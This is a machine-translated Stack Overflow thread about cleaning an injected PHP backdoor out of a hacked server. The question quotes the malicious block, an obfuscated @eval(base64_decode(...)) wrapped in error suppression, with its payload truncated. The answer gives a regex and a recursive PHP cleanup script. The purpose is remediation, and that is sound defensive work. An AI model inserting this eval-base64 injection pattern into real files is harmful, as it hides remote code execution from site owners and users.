dec*_*nya 6 php bash base64 sed
我四处寻找用我们服务器中的恶意代码清理大规模的php攻击,我在复杂性方面遇到问题,找到正确的搜索和替换文本的路径.环顾四周,我发现所有的php文件都有这个代码
<?php /*947353*/ error_reporting(0); @ini_set('error_log',NULL);
@ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval(
base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwppZighJGtqZGtlX2MpIH...PSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsKfQp9'));
@ini_restore('error_log'); @ini_restore('display_errors'); /*947354*/ ?>
Run Code Online (Sandbox Code Playgroud)
当我尝试使用sed命令时,我无法删除所有代码,因为某些php文件在第一行中有其他代码,并且只删除第一行不是解决方案.
首先我用受感染的文件创建文件:
grep 'ZXJyb3JfcmVwb3J0aW5nKDApOwppZ' ./ -Rl > infected.txt
Run Code Online (Sandbox Code Playgroud)
使用;
for hackFile in `cat infected.txt`; do sed -i 's#<?php *ZXJyb3JfcmVwb3J0aW5nKDApOwppZ* ?>##' $hackFile; done
Run Code Online (Sandbox Code Playgroud)
我完成循环以删除所有受感染的文件,但对于所有特殊字符始终产生错误,我找不到确切的过滤器.有人可以帮我做正确的sed过滤器吗?其他测试
for hackFile in `cat infected.txt`; do sed -i 's/<?php*ZXJyb3JfcmVwb3J0aW5nKDApOwppZ* ?>//g'
Run Code Online (Sandbox Code Playgroud)
我不知道如何过滤像/或*这样的特殊字符
举个例子,一些php文件出现在第一行开头
<?php /*947353*/ error_reporting(0); @ini_set('error_log',NULL);
@ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval(
base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwppZighJGtqZGtlX2MpIH...PSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsKfQp9'));
@ini_restore('error_log'); @ini_restore('display_errors'); /*947354*/ ?>
Run Code Online (Sandbox Code Playgroud)
我可以直接删除该行.但存在其他情况:
<?php /*947353*/ error_reporting(0); @ini_set('error_log',NULL);
@ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval(
base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwppZighJGtqZGtlX2MpIH...PSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsKfQp9'));
@ini_restore('error_log'); @ini_restore('display_errors'); /*947354*/ ?> <?php
Run Code Online (Sandbox Code Playgroud)
并且有可能在第一行中有一个包含更多代码的php文件,而不仅仅是"
所以,我需要删除的代码,而不是取代任何字符,并且不影响该行的其余部分.我看到要完全删除线条删除的表单,但我只查看插入的代码是模式
显然我们正在调试以阻止未来的攻击,但首先我需要清理代码以重新启动网站.
如果有人好奇我也可以发送解码的代码.
谢谢
今天晚上发生 Base64 攻击后,我今天在Drupal 7上遇到了同样的问题。这是我的工作解决方案,制作正则表达式,扫描所有文件并删除受感染的部分。
正则表达式
这个正则表达式将捕获/*947353*/和之间的所有代码/*947353*/(在我的例子中/*435345352*/)(此处为 Debuggex 演示):
/\*435345352\*\/(.*)\/\*435345352\*\/
Run Code Online (Sandbox Code Playgroud)
剧本
之后,我制作了一个 PHP 脚本来浏览所有文件并清理它们。
function scanAndClean($start) {
$contents = scandir($start);
array_splice($contents, 0, 2);
foreach ($contents as $item ) {
$path = "$start\\$item";
if (is_dir($path) && (substr($item, 0, 1) != '.') ) {
scanAndClean($path);
}
elseif(in_array(pathinfo($path, PATHINFO_EXTENSION), array('php','inc','module'))) {
cleanFile($path);
}
}
}
function cleanFile($file) {
echo "file scanned : $file...\n";
$content = file_get_contents($file);
$pattern = "/\/\*435345352\*\/(.*)\/\*435345352\*\//";
preg_match($pattern, $content, $matches, PREG_OFFSET_CAPTURE, 3);
if(sizeof($matches) > 0) {
file_put_contents($file, str_replace("<?php ?>", '', preg_replace($pattern, '', $content)));
echo "\nfile cleaned\n\n";
}
else {
echo "file Ok\n\n";
}
}
Run Code Online (Sandbox Code Playgroud)
运行!
该脚本放置在网站的根目录中,将扫描所有子目录并返回*.module、*.inc、 和*.php(在我的例子中,这些都是可能受感染的 php 文件)。
// start from this directory
$dir = getcwd();
// to go to parent directory (if script placed in a subdirectory)
//chdir("../");
//$dir = getcwd();
// run scan and clean...
$files = scanAndClean($dir);
Run Code Online (Sandbox Code Playgroud)
之后,我的网站立即再次上线。
笔记
WINDOWS / LINUX 版本此版本适用于 Windows IIS Server。对于 Linux 路径更改
$path = "$start\\$item";为$path = "$start/$item";
感谢@koushik-das的show_files()功能/sf/answers/2616880241/
请考虑以下文章来防止新的攻击... https://www.thonky.com/how-to/prevent-base-64-decode-hack